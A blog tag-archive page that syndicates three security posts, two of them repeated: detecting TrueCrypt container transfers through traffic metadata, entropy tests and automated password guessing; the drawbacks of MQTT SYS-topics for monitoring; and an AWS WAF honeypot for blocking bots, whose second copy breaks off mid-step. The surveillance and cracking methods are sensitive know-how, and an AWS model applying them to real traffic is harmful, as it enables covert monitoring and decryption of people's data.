Tag Archives: exploits

How to detect TrueCrypt blobs being passed around

Post Syndicated from Robert Graham original http://blog.erratasec.com/2016/03/how-to-detect-truecrypt-blobs-being.html

So, challenge accepted:@ErrataRob you’re up for writing the blog post “detecting TrueCrypt/encrypt blob transfers” on the wire…— the grugq (@thegrugq) March 29, 2016tl;dr: The NSA should be able to go back through it’s rolling 90 day backlog of Internet metadata and find all other terrorist cells using this method.From what we can piece together from the NYTimes article, it appears that ISIS is passing around TrueCrypt container files as a way of messaging. This is really weird. It has the has the property of security through obscurity, which is that it has the nice property of evading detection for a while because we’d never consider that ISIS would do such a strange thing. But it has the bad property that once discovered, it now becomes easier to track. With the keys found on the USB drive, we can now start decrypting things that were a mystery before.We are going off of very little information at the moment, but let’s imagine some fictional things.First, we need to figure out what is meant by a file or hosting site in Turkey. Such hosting sites are all over the place, as you can find with a little googling. Their primary purpose is to exchange copyrighted material (movies, music, games, ebooks) and porn. They are also a convenient way to host viruses that I’ll trick you to load in phishing emails.Half of these appear to use SSL during file transfers. In such cases, there’s not much we can do in order to detect this particular transfer on the wire. However, we aren’t completely out of luck. Presumably, the containers created by the terrorists were always the same size, such as 1 megabyte. We can monitor SSL connections and detect transactions of this size, uploaded by a customer in Europe and download by a customer in Syria or Iraq, with just one download.Presumably, this is something the NSA can track down. According to Snowden, they keep metadata of all TCP transfers in places like Turkey, Syria, and Iraq. These logs are supposed to go back 90 days. Thus, a creative analyst should be able to sit down at the console and start making these queries to tease out such info. We are looking for the IP addresses in Europe making a few small uploads, and the IP addresses in Syria and Iraq making many downloads. With a 90 day backlog, this should go back to the start of the year, before the Brussels bombing, and catch any active terrorists.The next thing to do would be to update the code of their sniffers to detect this on the wire. I created a TrueCrypt container file and uploaded it. Here’s what I saw sniffing the packets. It’s a normal POST command, where this is the contents of the POST, starting at the “WebKitFormboundary”The thing about TrueCrypt containers is that they are completely random. The first 8 bytes are random salt, followed by the encrypted contents of everything else. If they do it right, it’s impossible to distinguish TrueCrypt from purely random data (such as the output of /dev/urandom on Linux).But luckily for us intelligence agents, TrueCrypt is rare in that property. Compressed files and encrypted ZIP files are also supposed to be random — except they have headers identifying themselves. They’ve all got non-random bits to them, so while I can’t easily identify TrueCrypt, I can easily identify everything that’s not TrueCrypt.Thus, if the NSA has a sniffer eavesdropping next to these non-SSL file-upload sites, they can do the following. First of all, they can classify all known file types somebody would be uploading (images, movies, virus code, ZIP files, RAR files, etc.). Of the remaining, they would then apply a simple entropy measurement system that tests the randomness of a file. This will weed out things like text files, or anything else of an unknown format. (Back in the day, my intrusion prevent system did this — applying entropy tests to SSH and SSL connections once they were established, in order to discover exploits that would later send unencrypted data on these sessions, like the GOBBLES SSH exploit).I have no experience eavesdropping on file upload sites, but I imagine the remaining files would be fairly small and manageable. Note that at this point, the NSA can start capturing the sessions so that later, when they capture terrorists and grab their keys, that they can decrypt old files. (This is one of the flaws of this terrorist dead-drop system: no “forward security”).So these are the thoughts so far. I’m sure I’ll be tweeting back and forth with @thegrugq and will think of some more ideas. I’ll update this later.Update: It would be the sniffers associated with the NSA’s XKeyScore system that would need to be updated to detect this. Presumably, this system can already track file uploads/downloads like this, and use file types as one of the search criteria when making queries.One bit of code that would be useful to add to the sniffers would be some that automatically tried to password guess TrueCrypt container files. When it sees completely random bytes at the start of an upload, it can try to decrypt it using known passwords, and see if the result produces “TRUE” in the first few bytes, which is the string TrueCrypt uses to identify its files once decrypted. As passwords/passphrases are collected, they can be disseminated out to the sniffers, which can then identify these files in particular being transferred.Notes: Instead of a keyfile used by the terrorists, I used a 5 lower-case letter password. You should be able to copy the bytes above into something that’ll crack the password.

How to detect TrueCrypt blobs being passed around

Post Syndicated from Robert Graham original http://blog.erratasec.com/2016/03/how-to-detect-truecrypt-blobs-being.html

So, challenge accepted:@ErrataRob you’re up for writing the blog post “detecting TrueCrypt/encrypt blob transfers” on the wire…— the grugq (@thegrugq) March 29, 2016tl;dr: The NSA should be able to go back through it’s rolling 90 day backlog of Internet metadata and find all other terrorist cells using this method.From what we can piece together from the NYTimes article, it appears that ISIS is passing around TrueCrypt container files as a way of messaging. This is really weird. It has the has the property of security through obscurity, which is that it has the nice property of evading detection for a while because we’d never consider that ISIS would do such a strange thing. But it has the bad property that once discovered, it now becomes easier to track. With the keys found on the USB drive, we can now start decrypting things that were a mystery before.We are going off of very little information at the moment, but let’s imagine some fictional things.First, we need to figure out what is meant by a file or hosting site in Turkey. Such hosting sites are all over the place, as you can find with a little googling. Their primary purpose is to exchange copyrighted material (movies, music, games, ebooks) and porn. They are also a convenient way to host viruses that I’ll trick you to load in phishing emails.Half of these appear to use SSL during file transfers. In such cases, there’s not much we can do in order to detect this particular transfer on the wire. However, we aren’t completely out of luck. Presumably, the containers created by the terrorists were always the same size, such as 1 megabyte. We can monitor SSL connections and detect transactions of this size, uploaded by a customer in Europe and download by a customer in Syria or Iraq, with just one download.Presumably, this is something the NSA can track down. According to Snowden, they keep metadata of all TCP transfers in places like Turkey, Syria, and Iraq. These logs are supposed to go back 90 days. Thus, a creative analyst should be able to sit down at the console and start making these queries to tease out such info. We are looking for the IP addresses in Europe making a few small uploads, and the IP addresses in Syria and Iraq making many downloads. With a 90 day backlog, this should go back to the start of the year, before the Brussels bombing, and catch any active terrorists.The next thing to do would be to update the code of their sniffers to detect this on the wire. I created a TrueCrypt container file and uploaded it. Here’s what I saw sniffing the packets. It’s a normal POST command, where this is the contents of the POST, starting at the “WebKitFormboundary”The thing about TrueCrypt containers is that they are completely random. The first 8 bytes are random salt, followed by the encrypted contents of everything else. If they do it right, it’s impossible to distinguish TrueCrypt from purely random data (such as the output of /dev/urandom on Linux).But luckily for us intelligence agents, TrueCrypt is rare in that property. Compressed files and encrypted ZIP files are also supposed to be random — except they have headers identifying themselves. They’ve all got non-random bits to them, so while I can’t easily identify TrueCrypt, I can easily identify everything that’s not TrueCrypt.Thus, if the NSA has a sniffer eavesdropping next to these non-SSL file-upload sites, they can do the following. First of all, they can classify all known file types somebody would be uploading (images, movies, virus code, ZIP files, RAR files, etc.). Of the remaining, they would then apply a simple entropy measurement system that tests the randomness of a file. This will weed out things like text files, or anything else of an unknown format. (Back in the day, my intrusion prevent system did this — applying entropy tests to SSH and SSL connections once they were established, in order to discover exploits that would later send unencrypted data on these sessions, like the GOBBLES SSH exploit).I have no experience eavesdropping on file upload sites, but I imagine the remaining files would be fairly small and manageable. Note that at this point, the NSA can start capturing the sessions so that later, when they capture terrorists and grab their keys, that they can decrypt old files. (This is one of the flaws of this terrorist dead-drop system: no “forward security”).So these are the thoughts so far. I’m sure I’ll be tweeting back and forth with @thegrugq and will think of some more ideas. I’ll update this later.Update: It would be the sniffers associated with the NSA’s XKeyScore system that would need to be updated to detect this. Presumably, this system can already track file uploads/downloads like this, and use file types as one of the search criteria when making queries.One bit of code that would be useful to add to the sniffers would be some that automatically tried to password guess TrueCrypt container files. When it sees completely random bytes at the start of an upload, it can try to decrypt it using known passwords, and see if the result produces “TRUE” in the first few bytes, which is the string TrueCrypt uses to identify its files once decrypted. As passwords/passphrases are collected, they can be disseminated out to the sniffers, which can then identify these files in particular being transferred.Notes: Instead of a keyfile used by the terrorists, I used a 5 lower-case letter password. You should be able to copy the bytes above into something that’ll crack the password.

Why you shouldn’t use SYS-Topics for Monitoring

Post Syndicated from The HiveMQ Team original http://www.hivemq.com/blog/why-you-shouldnt-use-sys-topics-for-monitoring/

Monitoring

Monitoring your systems is extremely important for production environments. When deploying a MQTT broker or a cluster of MQTT brokers, the operation team needs to know the health of the MQTT servers and uses monitoring data to circumvent foreseeable future problems. In the past few years a handy feature of many MQTT brokers, the so called SYS-Topics, gained more and more popularity not only for debugging and developing MQTT systems but also for monitoring. This blog post discusses the use of SYS-Topics for monitoring and you will learn when to use – and more importantly – when NOT to use SYS-Topics.

SYS-Topics

Many MQTT brokers, including HiveMQ, implement SYS-Topics. These topics are special meta topics which are used by the broker to publish information about the broker itself and its MQTT client sessions. All SYS-Topics start with $SYS and are read-only for MQTT clients, so publishing to these topics is prohibited. SYS-Topics are mentioned in the MQTT 3.1.1 specification (4.7.2) but are a non-standard feature that are available in some MQTT brokers like HiveMQ or mosquitto.

An unofficial SYS-Topic specification is available on the MQTT Wiki, it is however subject to change and applications should not rely on these information.

Brokers publish these SYS-Topics on a periodical basis, the default on most brokers is 60 seconds. All MQTT clients that subscribe to one or more SYS-Topics receive the current value on the SYS topics as soon as they subscribe. After the subscription was successful, the client will receive metrics on periodical basis. Some static SYS-Topics (e.g. broker version) are only published upon subscription.

Debugging and Development with SYS-Topics

SYS-Topics are fantastic for developing and debugging MQTT applications. Developers can quickly monitor the current state of the broker and calculate and verify metrics – like message amplification rate or network metrics. Applications like MQTT.fx even provide native support for SYS-Topics embedded in a beautiful interface.

As you can see in the following video, you can get a quick overview of the MQTT brokers metrics by subscribing to the SYS-Topics:

SYS-Topics for Production Monitoring

The SYS-Topics definitely have their use-cases for development and debugging. However, SYS-Topics are not suitable for monitoring production broker instances. If you need to rely on the availability guarantees of your MQTT broker, consider the use of a real monitoring system, SYS-Topics do not replace monitoring applications.

We recommend to disable SYS-Topics completely for production systems and use the available monitoring interfaces, e.g. Graphite or JMX.

SYS-Topics are not suitable for production monitoring due to the following 5 reasons:

1. Metric resolution is not good enough

The metric publishing interval for most MQTT brokers is 60 seconds by default. Monitoring interfaces like JMX allow to poll the most current data whenever needed. So the broker does not dictate the monitoring system how the resolution should be. The monitoring system can decide how often new data should be collected, without modifying any configuration on the MQTT broker.

2. SYS-Topics provide only a subset of available metrics

While the metrics provided by SYS-Topics can be useful, they are only a small subset of all available metrics. HiveMQ exposes more than 100 different metrics (the number of exposed metrics also increase with every release). The SYS-Topic Metrics usually are more focused on MQTT session monitoring and thus don’t provide metrics that can give you an overview of the brokers health at a quick glance. The most interesting metrics for operation teams are usually product dependant, so it’s unlikely that a common SYS-Topic standard will cover these in the future.

3. SYS-Topics expose internal information to potential attackers

It’s a common best practice to conceal the actual software version used in a deployment from attackers to make it harder to use exploits that are targeted towards a specific software version. Often you even want to hide the actual software used from attackers. While this only provides Security by Obscurity (which you should never rely on as only security measure!), it’s still important to hide such deployment information. SYS-Topics expose information like Broker Software Used and Version Number to any subscriber. These may be valuable information for attackers but often don’t provide too much value to actual legitimate subscribers.

4. It’s hard to monitor broker clusters with SYS-Topics

HiveMQ SYS-Topics expose statistics only for the current cluster node. If someone would like to build a custom monitoring solution based on SYS-Topics, MQTT connections to all cluster nodes need to be established. Typically MQTT clusters are behind a load balancer, so often it’s not even possible to connect to a specific cluster node. Monitoring integrations with e.g. Graphite are built with clustering in mind and so it’s easy get a quick health overview of the whole cluster. That’s much harder to do with SYS-Topics.

5. The monitored channel should be separated from the monitoring channel

A good monitoring practice is to use a dedicated monitoring channel instead of using the same channel you are monitoring. With MQTT brokers this means that if you are monitoring the MQTT communication, you shouldn’t use MQTT (SYS-Topics) to monitor the MQTT communication. It’s the same as: Don’t use e-mail alerts for monitoring e-mail servers. If the MQTT communication is not available for any reason, you won’t get any monitoring data. The monitoring data may be most valuable especially when something bad happened. So if you’re relying on these data for alerting you may have a problem. If you’re using a dedicated monitoring channel like JMX, Graphite or Nagios, a problem with the MQTT communication should not affect your monitoring.

How to disable SYS topics for HiveMQ

SYS-Topics are enabled by default when starting HiveMQ. The broker comes with a standard plugin that hooks in the SYS-Topic functionality. If you want to disable the SYS-Topics, just delete the hivemq-sys-topic-plugin-3.x.x.jar file from the plugins folder.

Conclusion

MQTT SYS-Topics are useful for debugging and developing MQTT applications but are not optimal for monitoring MQTT deployments and alerting operation teams in case something bad happened. Dedicated monitoring interfaces like JMX do a better job at monitoring and provide better flexibility.

What are your experiences with SYS-Topics? Do you use them regularly or do you even use them for production monitoring? Let us know in the comments!

How to Reduce Security Threats and Operating Costs Using AWS WAF and Amazon CloudFront

Post Syndicated from Vlad Vlasceanu original https://blogs.aws.amazon.com/security/post/Tx1G747SE1R2ZWE/How-to-Reduce-Security-Threats-and-Operating-Costs-Using-AWS-WAF-and-Amazon-Clou

Some Internet operations trust that clients are “well behaved.” As an operator of a publicly accessible web application, for example, you have to trust that the clients accessing your content identify themselves accurately, or that they only use your services in the manner you expect. However, some clients are bad actors. These bad actors are typically automated processes: some might try to scrape your content for their own profit (content scrapers), and others might misrepresent who they are to bypass restrictions (bad bots). For example, they might use a fake user agent.

Successfully blocking bad actors can help reduce security threats to your systems. In addition, you can lower your overall costs, because you no longer have to serve traffic to unintended audiences. In this blog post, I will show you how you can realize these benefits by building a process to help detect content scrapers and bad bots, and then use Amazon CloudFront with AWS WAF (a web application firewall [WAF]) to help block bad actors’ access to your content.

WAFs give you back some control. For example, with AWS WAF you can filter traffic, look for bad actors, and block their access. This is no small feat because bad actors change methods continually to mask their actions, forcing you to adapt your detection methods frequently. Because AWS is fully programmable using RESTful APIs, you can integrate it into your existing DevOps workflows, and build automations around it to react dynamically to the changing methods of bad actors.

AWS WAF works by allowing you to define a set of rules, called a web access control list (web ACL). Each rule in the list contains a set of conditions and an action. Requests received by CloudFront are handed over to AWS WAF for inspection. Individual rules are checked in order. If the request matches the conditions specified in a rule, the indicated action is taken; if not, the default action of the web ACL is taken. Actions can allow the request to be serviced, block the request, or simply count the request for later analysis. Conditions offer a range of options to match traffic based on patterns, such as the source IP address, SQL injection attempts, size of the request, or strings of text. These constructs offer a wide range of capabilities to filter unwanted traffic.

Let’s get start with the involved AWS services and an overview of the solution itself. Because AWS WAF integrates with Amazon CloudFront, your website or web application must be fronted by a CloudFront distribution for the solution to work.

How AWS services help to make this solution work

The following AWS services work together to help block content scrapers and bad bots:

As I already mentioned, AWS WAF helps protect your web applications from common web exploits that can affect their availability, compromise security, or consume excessive resources.

CloudFront is a content delivery web service. It integrates with other AWS products to give you an easy way to distribute content to end users with low latency and high data-transfer speeds.

AWS Lambda enables you to run code without provisioning or managing servers. With Lambda, you can run code for virtually any type of application or back-end service.

Amazon API Gateway is a fully managed service that makes it easy for developers to create, publish, maintain, monitor, and secure APIs at any scale. You can create an API that acts as a “front door” for applications to access data, business logic, or functionality from your back-end services, such as code running on Lambda or any web application.

AWS CloudFormation gives you an easy way to create and manage a collection of related AWS resources, provisioning and updating them in an orderly and predictable fashion.

Solution overview

Blocking content scrapers and bad bots involves 2 main actions:

Detect an inbound request from a content scraper or bad bot.

Block any subsequent requests from that content scraper or bad bot.

For the solution in today’s post to be effective, your web application must employ both of these actions. The following architecture diagram shows how you can implement this solution by using AWS services.

These are the key elements of the diagram:

A bad bot requests a specifically disallowed URL on your web application. This URL is implemented outside your web application in the blocking solution.

The URL invocation triggers an Lambda function that captures the IP address of the requestor (source address).

The function adds the source address to an AWS WAF block list.

The function also issues a notification to an Amazon SNS topic, informing recipients that a bad bot was blocked.

CloudFront will block additional requests from the source address of the bad bot by checking the AWS WAF block list.

In the remainder of this post, I describe in detail how this solution works.

Detecting content scrapers and bad bots

To detect an inbound request from a content scraper or bad bot, set up a honeypot. This is usually a piece of content that good actors know they are not supposed to— and don’t—access. First, embed a link in your content pointing to the honeypot. You should hide this link from your regular human users, as shown in the following code.

<a href="/v1/honeypot/" style="display: none" aria-hidden="true">honeypot link</a>

Note: In production, do not call the link honeypot. Use a name that is similar to the content in your application. For example, if you are operating an online store with a product catalog, you might use a fake product name or something similar.

Next, instruct good content scrapers and bots to ignore this embedded link. Use the robots exclusion standard (a robots.txt file in the root of your website) and protocol to specify which portions of your site are off limits and to what content scrapers and bots. Conforming content scrapers and bots, such as Google’s web-crawling bot Googlebot, will actively look for this file first, download it, and refrain from indexing any content you disallow in the file. However because this protocol relies on trust, content scrapers and bots can ignore your robots.txt file, which is often the case with malware bots that scan for security vulnerabilities and scrape email addresses.

The following is a robots.txt example file, which disallows access to the honeypot URL described previously.

User-agent: *
Disallow: /v1/honeypot/

Between the embedded link and the robots.txt file, it is likely that any requests made to the honeypot URL do not come from a legitimate user. This is what forms the basis of the detection process.

Blocking content scrapers and bad bots

Next, set up a script that is triggered when the honeypot URL is requested. As mentioned previously, AWS WAF uses a set of rules and conditions to match traffic and trigger actions. In this case, you will use an AWS WAF IPSet filter condition to create a block list, which is a list of disallowed source IP addresses. The script captures the IP address of the requestor and adds it to the block list. Then, when CloudFront passes an inbound request over to AWS WAF for inspection, the rule is triggered if the source IP address appears in the block list. In turn, AWS WAF instructs CloudFront to block the request. Any subsequent requests for your content from that source IP address will be blocked when the honeypot URL is requested.

Note: IPSet filter lists can store up to 1,000 IP addresses or ranges expressed in Classless Inter-Domain Routing (CIDR) format. If you expect the block list to exceed this number, consider using multiple IPSet filter lists and rules. For more details on service limits, see the AWS WAF Limits documentation.

In the remainder of this post, I show you how to implement the honeypot trap using Lambda and Amazon API Gateway. The trap is a minimal microservice that enables you to implement it without having to manage compute capacity and scaling.

Solution implementation and deployment

All resources for this solution are also available for download from our GitHub repository to enable you to inspect the code and change it as needed.

Step 1: Create a RESTful API

To start, you’ll need to create a RESTful API using API Gateway. Using the AWS CLI tools, run the following command and make note of the API ID returned by the call. (For details about how to install and configure the AWS CLI tools, see Getting Set Up with the AWS Command Line Interface.)

$ aws apigateway create-rest-api –name myBotBockingApi

The output will look like this (the line that has the API ID is highlighted):

{
"name": "myFirstApi",
"id": "xxxxxxxxxx",
"createdDate": 1454978163
}

Note: We recommend that you deploy all resources in the same region. Because this solution uses API Gateway and Lambda, see the AWS Global Infrastructure Region Table to check which AWS regions support these services.

Step 2: Deploy the CloudFormation stack

Download this CloudFormation template and run it in your AWS account in the desired region. For detailed steps about how to create a CloudFormation stack based on a template, see this walkthrough.

You must provide two parameters:

The Base Resource Name you want to use for the created resources.

The RESTful API ID of the API created in Step 1 earlier in this post.

The CloudFormation – Create Stack page looks like what is shown in the following screenshot.

CloudFormation will create a web ACL, rule, and empty IPSet filter condition. Additionally, it will create an Amazon Simple Notification Service (SNS) topic to which you can subscribe so that you can receive notifications when new IP addresses are added to the list. CloudFormation will also create a Lambda function and an IAM execution role for the Lambda function, authorizing the function to change the IPSet. The service will also add a permission allowing the RESTful API to invoke the function.

Step 3: Set up API Gateway

We also provide a convenient Swagger template that you can use to set up API Gateway, after the relevant resources have been created using CloudFormation. Swagger is a specification and complete framework implementation for representing RESTful web services, allowing for deployment of easily reproducible APIs. Use the Swagger importer tool to set up API Gateway, but make sure you change the downloaded Swagger template in JSON format, by updating all occurrences of the placeholders shown in the following table.

Placeholder

Description

Example

[[region]]

The desired region

us-east-1

[[account-id]]

The account ID where the resources are created

012345678901

[[honeypot-uri]]

The name of the honeypot URI endpoint

honeypot

[[lambda-function-name]]

The name of the Lambda function created by CloudFormation (check the Outputs section of the stack)

wafBadBotBlocker-rLambdaFunction-XXXXXXXXXXXXX

Clone the Swagger import tool from GitHub and follow the tool’s readme file to build the import tool using Apache Maven, as shown in the following command.

$ git clone https://github.com/awslabs/aws-apigateway-importer.git aws-apigateway-importer && cd aws-apigateway-importer

Import the customized template (make sure you use the same region as for the CloudFormation resources), and replace [api-id] with the ID from Step 1 earlier in this post, and replace [basepath] with your desired URL segment (such as v1).

$ ./aws-api-import.sh –update [api-id] –deploy [basepath] /path/to/swagger/template.json

In API Gateway terminology, our [basepath] URL segment is called a stage, and defines the path through which an API is accessible.

Step 4: Finish the configuration

Finish the configuration by connecting API Gateway to the CloudFront distribution:

Create an API key, which will be used to ensure that only requests originating from CloudFront will be authorized by API Gateway.

Associate the newly created API key with the deployed API stage. The following image shows an example console page with the API key selected and the recommended API Stage Association values.


 

Find the API Gateway endpoint created by the Swagger import script. You will need this endpoint for the custom origin. Find the endpoint on the API Gateway console by clicking the name of the deployed stage, as highlighted in the following image.

Create a new custom origin in your CloudFront distribution, using the API Gateway endpoint. The details screen in the AWS Management Console for your existing CloudFront distribution will look similar to the following image, which already contains a few distinct origins. Click Create Origin.


 

As shown in the following screenshot, use the API Gateway endpoint as the Origin Domain Name. Make sure the Origin Protocol Policy is set to HTTPS Only and add the API key in the Origin Custom Headers box. Then click Create.

Add a cache behavior that matches your base path (API Gateway stage) and honeypot URL segment. This will point traffic to the newly created custom origin. The following screenshot shows an example console screen that lists CloudFront distribution behaviors. Click Create Behavior.

Use the value of your base path and honeypot URL to set the Path Pattern field. The honeypot URL must match the value in the robots.txt file you deploy and the API Gateway method specified. Select the Custom Origin you just created and configure additional settings, as illustrated in the following screenshot:

Though whitelist headers are not strictly required, creating them to match the following screenshot would provide additional identification for your blocked IP notifications.

I recommend that you customize the Object Caching policy to not cache responses from the honeypot. Set the values of Minimum TTL, Maximum TTL, and Default TTL to 0 (zero), as shown in the following screenshot.

Register the AWS WAF web ACL with your CloudFront distribution. The General tab of your distribution (see the following screenshot) contains settings affecting the configuration of your content delivery network. Click Edit.


 

Find the AWS WAF Web ACL drop-down list (see the following screenshot) and choose the correct web ACL from the list. The name of the web ACL will start with the name you assigned as the Base Resource Name when you launched the CloudFormation template earlier.

To receive notifications when an IP address gets blocked, subscribe to the SNS topic created by CloudFormation. You can receive emails or even text messages, and you can use that opportunity to validate the blocking action and remove the IP address from the block list, if it was blocked in error. For more information about how to subscribe to SNS topics, see Subscribe to a Topic.

Summary

The solution explained in this blog post helps detect content scrapers and bad bots. In most production deployments, though, this is just a component of a more comprehensive web traffic filtering strategy. AWS WAF provides a highly customizable service that can be interacted with programmatically to react faster to changing threats.

If you have comments about this blog post, please submit them in the “Comments” section below. If you have questions about or issues deploying this solution, start a new thread on the AWS WAF forum.

– Vlad

How to Reduce Security Threats and Operating Costs Using AWS WAF and Amazon CloudFront

Post Syndicated from Vlad Vlasceanu original https://blogs.aws.amazon.com/security/post/Tx1G747SE1R2ZWE/How-to-Reduce-Security-Threats-and-Operating-Costs-Using-AWS-WAF-and-Amazon-Clou

Some Internet operations trust that clients are “well behaved.” As an operator of a publicly accessible web application, for example, you have to trust that the clients accessing your content identify themselves accurately, or that they only use your services in the manner you expect. However, some clients are bad actors. These bad actors are typically automated processes: some might try to scrape your content for their own profit (content scrapers), and others might misrepresent who they are to bypass restrictions (bad bots). For example, they might use a fake user agent.

Successfully blocking bad actors can help reduce security threats to your systems. In addition, you can lower your overall costs, because you no longer have to serve traffic to unintended audiences. In this blog post, I will show you how you can realize these benefits by building a process to help detect content scrapers and bad bots, and then use Amazon CloudFront with AWS WAF (a web application firewall [WAF]) to help block bad actors’ access to your content.

WAFs give you back some control. For example, with AWS WAF you can filter traffic, look for bad actors, and block their access. This is no small feat because bad actors change methods continually to mask their actions, forcing you to adapt your detection methods frequently. Because AWS is fully programmable using RESTful APIs, you can integrate it into your existing DevOps workflows, and build automations around it to react dynamically to the changing methods of bad actors.

AWS WAF works by allowing you to define a set of rules, called a web access control list (web ACL). Each rule in the list contains a set of conditions and an action. Requests received by CloudFront are handed over to AWS WAF for inspection. Individual rules are checked in order. If the request matches the conditions specified in a rule, the indicated action is taken; if not, the default action of the web ACL is taken. Actions can allow the request to be serviced, block the request, or simply count the request for later analysis. Conditions offer a range of options to match traffic based on patterns, such as the source IP address, SQL injection attempts, size of the request, or strings of text. These constructs offer a wide range of capabilities to filter unwanted traffic.

Let’s get start with the involved AWS services and an overview of the solution itself. Because AWS WAF integrates with Amazon CloudFront, your website or web application must be fronted by a CloudFront distribution for the solution to work.

How AWS services help to make this solution work

The following AWS services work together to help block content scrapers and bad bots:

  • As I already mentioned, AWS WAF helps protect your web applications from common web exploits that can affect their availability, compromise security, or consume excessive resources.
  • CloudFront is a content delivery web service. It integrates with other AWS products to give you an easy way to distribute content to end users with low latency and high data-transfer speeds.
  • AWS Lambda enables you to run code without provisioning or managing servers. With Lambda, you can run code for virtually any type of application or back-end service.
  • Amazon API Gateway is a fully managed service that makes it easy for developers to create, publish, maintain, monitor, and secure APIs at any scale. You can create an API that acts as a “front door” for applications to access data, business logic, or functionality from your back-end services, such as code running on Lambda or any web application.
  • AWS CloudFormation gives you an easy way to create and manage a collection of related AWS resources, provisioning and updating them in an orderly and predictable fashion.

Solution overview

Blocking content scrapers and bad bots involves 2 main actions:

  1. Detect an inbound request from a content scraper or bad bot.
  2. Block any subsequent requests from that content scraper or bad bot.

For the solution in today’s post to be effective, your web application must employ both of these actions. The following architecture diagram shows how you can implement this solution by using AWS services.

These are the key elements of the diagram:

  1. A bad bot requests a specifically disallowed URL on your web application. This URL is implemented outside your web application in the blocking solution.
  2. The URL invocation triggers an Lambda function that captures the IP address of the requestor (source address).
  3. The function adds the source address to an AWS WAF block list.
  4. The function also issues a notification to an Amazon SNS topic, informing recipients that a bad bot was blocked.

CloudFront will block additional requests from the source address of the bad bot by checking the AWS WAF block list.

In the remainder of this post, I describe in detail how this solution works.

Detecting content scrapers and bad bots

To detect an inbound request from a content scraper or bad bot, set up a honeypot. This is usually a piece of content that good actors know they are not supposed to— and don’t—access. First, embed a link in your content pointing to the honeypot. You should hide this link from your regular human users, as shown in the following code.

<a href="/v1/honeypot/" style="display: none" aria-hidden="true">honeypot link</a>

Note: In production, do not call the link honeypot. Use a name that is similar to the content in your application. For example, if you are operating an online store with a product catalog, you might use a fake product name or something similar.

Next, instruct good content scrapers and bots to ignore this embedded link. Use the robots exclusion standard (a robots.txt file in the root of your website) and protocol to specify which portions of your site are off limits and to what content scrapers and bots. Conforming content scrapers and bots, such as Google’s web-crawling bot Googlebot, will actively look for this file first, download it, and refrain from indexing any content you disallow in the file. However because this protocol relies on trust, content scrapers and bots can ignore your robots.txt file, which is often the case with malware bots that scan for security vulnerabilities and scrape email addresses.

The following is a robots.txt example file, which disallows access to the honeypot URL described previously.

User-agent: *
Disallow: /v1/honeypot/

Between the embedded link and the robots.txt file, it is likely that any requests made to the honeypot URL do not come from a legitimate user. This is what forms the basis of the detection process.

Blocking content scrapers and bad bots

Next, set up a script that is triggered when the honeypot URL is requested. As mentioned previously, AWS WAF uses a set of rules and conditions to match traffic and trigger actions. In this case, you will use an AWS WAF IPSet filter condition to create a block list, which is a list of disallowed source IP addresses. The script captures the IP address of the requestor and adds it to the block list. Then, when CloudFront passes an inbound request over to AWS WAF for inspection, the rule is triggered if the source IP address appears in the block list. In turn, AWS WAF instructs CloudFront to block the request. Any subsequent requests for your content from that source IP address will be blocked when the honeypot URL is requested.

Note: IPSet filter lists can store up to 1,000 IP addresses or ranges expressed in Classless Inter-Domain Routing (CIDR) format. If you expect the block list to exceed this number, consider using multiple IPSet filter lists and rules. For more details on service limits, see the AWS WAF Limits documentation.

In the remainder of this post, I show you how to implement the honeypot trap using Lambda and Amazon API Gateway. The trap is a minimal microservice that enables you to implement it without having to manage compute capacity and scaling.

Solution implementation and deployment

All resources for this solution are also available for download from our GitHub repository to enable you to inspect the code and change it as needed.

Step 1: Create a RESTful API

To start, you’ll need to create a RESTful API using API Gateway. Using the AWS CLI tools, run the following command and make note of the API ID returned by the call. (For details about how to install and configure the AWS CLI tools, see Getting Set Up with the AWS Command Line Interface.)

$ aws apigateway create-rest-api --name myBotBockingApi

The output will look like this (the line that has the API ID is highlighted):

{
    "name": "myFirstApi",
    "id": "xxxxxxxxxx",
    "createdDate": 1454978163
}

Note: We recommend that you deploy all resources in the same region. Because this solution uses API Gateway and Lambda, see the AWS Global Infrastructure Region Table to check which AWS regions support these services.

Step 2: Deploy the CloudFormation stack

Download this CloudFormation template and run it in your AWS account in the desired region. For detailed steps about how to create a CloudFormation stack based on a template, see this walkthrough.

You must provide two parameters:

  1. The Base Resource Name you want to use for the created resources.
  2. The RESTful API ID of the API created in Step 1 earlier in this post.

The CloudFormation – Create Stack page looks like what is shown in the following screenshot.

CloudFormation will create a web ACL, rule, and empty IPSet filter condition. Additionally, it will create an Amazon Simple Notification Service (SNS) topic to which you can subscribe so that you can receive notifications when new IP addresses are added to the list. CloudFormation will also create a Lambda function and an IAM execution role for the Lambda function, authorizing the function to change the IPSet. The service will also add a permission allowing the RESTful API to invoke the function.

Step 3: Set up API Gateway

We also provide a convenient Swagger template that you can use to set up API Gateway, after the relevant resources have been created using CloudFormation. Swagger is a specification and complete framework implementation for representing RESTful web services, allowing for deployment of easily reproducible APIs. Use the Swagger importer tool to set up API Gateway, but make sure you change the downloaded Swagger template in JSON format, by updating all occurrences of the placeholders shown in the following table.

Placeholder Description Example

[[region]]

The desired region

us-east-1

[[account-id]]

The account ID where the resources are created

012345678901

[[honeypot-uri]]

The name of the honeypot URI endpoint

honeypot

[[lambda-function-name]]

The name of the Lambda function created by CloudFormation (check the Outputs section of the stack)

wafBadBotBlocker-rLambdaFunction-XXXXXXXXXXXXX

Clone the Swagger import tool from GitHub and follow the tool’s readme file to build the import tool using Apache Maven, as shown in the following command.

$ git clone https://github.com/awslabs/aws-apigateway-importer.git aws-apigateway-importer && cd aws-apigateway-importer

Import the customized template (make sure you use the same region as for the CloudFormation resources), and replace [api-id] with the ID from Step 1 earlier in this post, and replace [basepath] with your desired URL segment (such as v1).

$ ./aws-api-import.sh --update [api-id] --deploy [basepath] /path/to/swagger/template.json

In API Gateway terminology, our [basepath] URL segment is called a stage, and defines the path through which an API is accessible.

Step 4: Finish the configuration

Finish the configuration by connecting API Gateway to the CloudFront distribution:

  1. Create an API key, which will be used to ensure that only requests originating from CloudFront will be authorized by API Gateway.
  2. Associate the newly created API key with the deployed API stage. The following image shows an example console page with the API key selected and the recommended API Stage Association values.


     

  3. Find the API Gateway endpoint created by the Swagger import script. You will need this endpoint for the custom origin. Find the endpoint on the API Gateway console by clicking the name of the deployed stage, as highlighted in the following image.

  1. Create a new custom origin in your CloudFront distribution, using the API Gateway endpoint. The details screen in the AWS Management Console for your existing CloudFront distribution will look similar to the following image, which already contains a few distinct origins. Click Create Origin.


     

  2. As shown in the following screenshot, use the API Gateway endpoint as the Origin Domain Name. Make sure the Origin Protocol Policy is set to HTTPS Only and add the API key in the Origin Custom Headers box. Then click Create.

